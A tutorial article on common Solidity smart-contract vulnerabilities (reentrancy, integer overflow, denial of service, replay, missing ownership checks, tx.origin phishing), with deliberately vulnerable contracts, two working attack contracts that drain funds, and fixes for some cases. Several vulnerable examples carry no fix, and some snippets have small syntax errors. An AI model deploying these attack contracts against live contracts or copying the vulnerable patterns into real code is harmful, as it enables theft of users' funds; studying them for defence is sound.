Introduction
Smart Contracts offer unprecedented transparency and security however some vulnerabilities can be exploited. Since smart contracts are immutable if there are vulnerabilities in your code it can be exploited. In this article we will be exploring the various ways your smart contract can be exploited/ hacked ( Replay Attack, Ownership Exploit, etc.) providing concrete examples with code of smart contracts that can be exploited, potential consequences, preventive measures, best practices which will help prevent hacks.
This article will show you the following:
- Hacking Smart Contract: Common ways your smart contract can be hacked.
- Securing Smart Contract: Ways of preventing such hacks.
- Best Practices: Ways of writing better solidity code.
By the end of this article, you will have an understanding of how to prevent hacks in your smart contract and write better smart contracts.
Prerequisites
You will need solid and prior knowledge of the following:
- Solidity: Solidity is an object-oriented programming language for implementing smart contracts on various blockchain platforms.
- Blockchain concepts: A good understanding of basic blockchain technologies and their useful tool for development will suffice to take you through this tutorial.
Requirements
To complete this article
- Remix: Remix Website
- Metamask Wallet Extension: You will need to have the metamask wallet extension installed in google chrome.
- Fund Celo Wallet: Click on the link below and paste your wallet address to Fund Your Testnet Account (Alfajores Wallet).
- Source Code: Find the link to the source code Here.
Let’s Begin
The most common ways smart contracts can be hacked include the following:
- Reentrancy Attack
- Integer Overflow
- Denial of Service Attack
- Replay Attack
- Ownership Exploit
- tx.origin Phishing Attack
Reentrancy Attack
This is a very common attack which is a result of a contract calling an untrustworthy contract which repeatedly calls a contract before it finishes executing to drain funds from the smart contract.
Reentrancy Attack Example
Head over to remix, create a new file called reentrancy.sol and create a bank contract in it. The bank has two functions which are deposit and withdraw. When the deposit function is called we store the amount deposited in the balances array and the withdraw function checks the balances array to see the amount deposited and sends it to the user.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 < 0.9.0;
import "remix_tests.sol";
contract Bank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
// Send the funds to the user
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Funds");
// Update the balance
balances[msg.sender] = 0;
}
}
Now let us create another contract called thief.sol where we will import the re-entrance contract into and create an attack contract. In the attack contract we define a function which when called sends one ether to it. Immediately after the hacker calls the withdraw function which sends one ether out of the bank contract and immediately calls a fallback function which immediately withdraws again. This process will be repeated until all the funds are drained from the bank.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 < 0.9.0;
import "remix_tests.sol";
import "./reentrancy";
contract Attack {
Bank public bank;
constructor (address _bankAddress) {
bank = Bank(_bankAddress);
}
fallback() external payable {
if (address(bank).balance >= 1 ether) {
// Call the withdraw function again
bank.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw();
}
}
Preventing Reentrancy Attack
We can prevent such attacks by updating our code. Now, let’s ask ourselves a question, why can the user keep withdrawing from our contract without his balance updating? This is because we send tokens to the attacker before updating our code. A best practice for writing smart contracts is to perform checks, update state then performs external calls. Here is the modification of our bank contracts withdraw function:
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
// Update the balance
balances[msg.sender] = 0;
// Send the funds to the user
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Funds");
}
Another method will be to use openzeppelin reentrance guard .
Great, we can now prevent Reentrance hacks in our smart contracts.
Integer Overflow Hack
An integer overflow in solidity is a type of error that occurs when an integer value exceeds its maximum or minimum value limit by one. For example, if you try to increment a unit 8 variable that has a value of 255 by 1, the result will not be 256, but 0. This can lead to unexpected and potentially dangerous consequences, such as losing funds or allowing unauthorized access.
Integer Overflow Hack Example
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.5.0;
contract Overflow {
uint8 public balance = 254;
function increaseBalance() public returns(bool success) {
balance ++;
return true
}
}
Preventing Integer Overflow Hack
To prevent integer overflows, you should use the Safe Math library
that performs checked arithmetic operations and reverts on errors. Alternatively, you can use Solidity version 0.8.x
or higher, which has built-in overflow checks.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract Overflow {
uint8 public balance = 254;
function increaseBalance() public returns(bool success) {
balance ++;
return true
}
}
Denial of Service Hack
A DoS attack is a type of attack to stop a smart contract from working properly by making it run out of gas, throw an error, delete itself, or change its settings. This can make the smart contract useless or harmful to its users. To prevent this, developers should write their smart contract code carefully and use some tools and techniques that can help them avoid common mistakes and bugs. Here is an article explaining it.
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
Replay Hack
A replay attack in Solidity is a type of attack that involves reusing a valid transaction on the same or another blockchain to gain an unauthorized benefit. For example, a hacker can take a signed message that authorizes withdrawal from a wallet and replay it on another wallet with the same code and owners. This can result in double-spending or stealing funds from the wallets.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
contract MultiSigWallet {
using ECDSA for bytes32;
address[2] public admins;
constructor(address[2] memory _admins) payable {
admins = _admins;
}
function deposit() external payable {}
function transfer(address _sendto, uint _amount, bytes[2] memory _sigs) external {
bytes32 txHash = getTxHash(_sendto, _amount);
require(_checkSignature(_sigs, txHash), "invalid sig");
(bool sent, ) = _sendto.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
function getTxHash(address _sendto, uint _amount) public pure returns (bytes32) {
return keccak256(abi.encodePacked(_sendto, _amount));
}
function _checkSignature( bytes[2] memory _sigs, bytes32 _txHash) private view returns (bool) {
bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
for (uint i = 0; i < _sigs.length; i++) {
address signer = ethSignedHash.recover(_sigs[i]);
bool valid = signer == admins[i];
if (!valid) {
return false;
}
}
return true;
}
}
Click Here to learn more about replay hacks.
Ownership Exploit Hack
An ownership exploit in Solidity is a type of attack that involves gaining unauthorized access to the privileged functions or settings of a smart contract by exploiting a vulnerability in the contract’s code or obtaining the contract’s private key. For example, an attacker can call a function that updates the price of a commodity or transfers funds from a multisig wallet without being the owner or an authorized user of the contract. This can result in manipulating the contract’s logic or stealing funds from the contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract FruitMarket {
uint256 public orangeprice;
uint256 public grapeprice;
constructor(uint256 _orangeprice, uint256 _grapeprice) {
orangeprice = _orangeprice;
grapeprice = _grapeprice;
}
function updateFruitsPrice(uint256 _orangeprice, uint256 _grapeprice) external {
orangeprice = _orangeprice;
grapeprice = _grapeprice;
}
}
Here is a full article explaining Ownership Exploit.
tx.origin Phishing Hack
Tx.origin
is a global variable in Solidity that returns the address of the account that sent the transaction. In this type of hack, the hacker deceives the owner of a contract to perform tasks only they can perform. Let’s see the following example:
pragma solidity ^0.8.0;
contract VictimContract {
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {}
function withdrawFunds(address to) public {
require(tx.origin == owner);
uint contractBalance = address(this).balance;
(bool suceed, ) = to.call{value: contractBalance}("");
require(suceed, "Failed withdrawal");
}
}
contract Attacker {
address public owner;
VictimContract victim;
constructor(VictimContract _victim) {
owner = payable(msg.sender);
victim = VictimContract(_victim);
}
receive() external payable {
victim.withdrawFunds(owner);
}
}
The victim deploys VictimContract and sends 20 Ether to it. The Hacker deploys Attacker and sets VictimContract address in its constructor. The hacker deceives the victim into sending some ether to its contract, ending up in victim calling withdrawFunds with the hacker as the receiver. The hacker successfully steals from the victim.
Preventing tx.origin Phishing Hack
To prevent tx.origin
attacks, we need to use the msg.sender
instead of tx.origin
for authentication purposes. Additionally, users should be very cautious when interacting with unknown contracts and should only provide sensitive information to trusted sources.
By changing the require statement inside withdrawFunds (address to)
method, the hacker will not be able to steal funds as the contract will revert as msg.sender
would be referring to Attacker Contract.
pragma solidity ^0.8.0;
contract VictimContract {
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {}
function withdrawFunds(address to) public {
require(msg.sender == owner);
uint contractBalance = address(this).balance;
(bool suceed, ) = to.call{value: contractBalance}("");
require(suceed, "Failed withdrawal");
}
}
Congratulations
We have reached the end of this article, where I hope you have learned some valuable lessons on how malicious actors can exploit vulnerabilities in your smart contract code and what measures you can take to prevent some of these attacks. There are a ton of attacks that can be performed, but we can mitigate this by performing proper smart contract audits.
Next Step
One of the best ways to prevent your smart contract from being hacked is to follow best practices. Check out this article to find out Best practices for writing smart contracts with real world examples .
About the Author
Oselukwue Kinyichukwu is a Fullstack developer with a passion for learning, building, and teaching. You can follow me on Twitter, check out my profile on LinkedIn, and see what I’m building on Github.